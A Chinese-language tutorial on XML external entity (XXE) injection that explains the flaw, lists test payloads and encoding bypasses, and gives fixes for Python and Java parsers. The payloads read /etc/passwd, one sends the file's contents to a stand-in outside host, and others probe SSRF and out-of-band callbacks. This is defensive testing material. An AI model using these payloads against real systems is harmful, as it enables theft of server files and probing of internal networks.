

1、XXE漏洞简介

1.1 漏洞场景

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。

2、XXE漏洞检测

2.1 Payload

2.1.1 文件包含

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
```

2.1.2 盲LFI测试

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
```

2.1.3 SSRF测试

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
```

2.1.4 XXE FTP服务器

- [Content_Types].xml

```
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://test.dnslog.cn"> ]>
<x>&xxe;</x>
```

- xxeftp

```
./xxeftp -w
```

2.2 Bypass

2.2.1 实体编码

<	<
>	>
&	&
'	'
"	"
换行	

2.2.2 UTF编码

- UTF-16

```
iconv -f utf8 -t utf16 1.xml -o 2.xml
```

- UTF-7

```
iconv -f utf8 -t utf7 1.xml -o 2.xml
```

3、XXE漏洞修复

3.1 禁用外部实体

- Python

```
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
```

- Java

```
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
```

3.2 过滤XML数据

过滤关键词<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC。

3.3 不允许XML含有自定义DTD